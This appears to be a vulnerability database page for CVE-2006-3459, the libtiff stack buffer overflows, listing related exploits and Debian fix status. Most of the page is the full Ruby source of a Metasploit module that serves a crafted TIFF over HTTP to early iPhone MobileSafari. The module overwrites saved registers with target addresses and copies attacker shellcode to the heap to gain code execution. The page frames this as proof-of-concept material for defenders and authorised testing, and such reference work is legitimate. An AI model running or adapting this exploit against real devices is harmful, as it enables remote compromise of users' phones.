CVE-2006-3459
Description
Multiple stack-based buffer overflows in the TIFF library (libtiff) before 3.8.2, as used in Adobe Reader 9.3.0 and other products, allow context-dependent attackers to execute arbitrary code or cause a denial of service via unspecified vectors, including a large tdir_count value in the TIFFFetchShortPair function in tif_dirread.c.
Predictions
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Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Apple iPhone MobileSafari LibTIFF - 'browser' Remote Buffer Overflow (Metasploit) (1)
Adobe Reader PDF - LibTiff Integer Overflow Code Execution
Apple iPhone MobileSafari LibTIFF - 'email' Remote Buffer Overflow (Metasploit) (2)
##
# $Id: safari_libtiff.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'iPhone MobileSafari LibTIFF Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the version of
libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
1.1.1 of the Apple iPhone. iPhones which have not had the BSD
tools installed will need to use a special payload.
},
'License' => MSF_LICENSE,
'Author' => ['hdm', 'kf'],
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2006-3459'],
['OSVDB', '27723'],
['BID', '19283']
],
'Payload' =>
{
'Space' => 1800,
'BadChars' => ""
},
'Targets' =>
[
[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
{
'Platform' => 'osx',
# Scratch space for our shellcode and stack
'Heap' => 0x00802000,
# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
'Magic' => 0x300d562c,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 01 2006'
))
end
def on_request_uri(cli, req)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Grab reference to the target
t = target
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the compressed response to the client
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
# Handle the payload
handler(cli)
end
def generate_tiff(code, targ)
#
# This is a TIFF file, we have a huge range of evasion
# capabilities, but for now, we don't use them.
# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
#
lolz = 2048
tiff =
"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
[lolz].pack("V") +
"\x84\x00\x00\x00\x00\x00\x00\x00"
# Randomize the bajeezus out of our data
hehe = rand_text(lolz)
# Were going to candy mountain!
hehe[120, 4] = [targ['Magic']].pack("V")
# >> add r0, r4, #0x30
hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")
# Candy mountain, Charlie!
# >> mov r1, sp
# It will be an adventure!
# >> mov r2, r8
hehe[ 92, 4] = [ hehe.length ].pack("V")
# Its a magic leoplurodon!
# It has spoken!
# It has shown us the way!
# >> bl _memcpy
# Its just over this bridge, Charlie!
# This magical bridge!
# >> ldr r3, [r4, #32]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #32]
# >> ldr r3, [r4, #36]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #36]
# >> ldr r3, [r4, #40]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #40]
# >> ldr r3, [r4, #44]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #44]
# We made it to candy mountain!
# Go inside Charlie!
# sub sp, r7, #0x14
hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")
# Goodbye Charlie!
# ;; targ['Heap'] + 0x48 becomes the stack pointer
# >> ldmia sp!, {r8, r10}
# Hey, what the...!
# >> ldmia sp!, {r4, r5, r6, r7, pc}
# Return back to the copied heap data
hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V")
# Insert our actual shellcode at heap location + 196
hehe[196, payload.encoded.length] = payload.encoded
tiff << hehe
end
end
Apple iOS Mobile Mail - LibTIFF Buffer Overflow (Metasploit)
iPhone MobileMail - LibTIFF Buffer Overflow (Metasploit)
Apple iOS Mobile Safari - LibTIFF Buffer Overflow (Metasploit)
Metasploit modules
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 3.8.2-6 |
| sid | Fixed | 3.8.2-6 |
| forky | Fixed | 3.8.2-6 |
| bullseye | Fixed | 3.8.2-6 |
| bookworm | Fixed | 3.8.2-6 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
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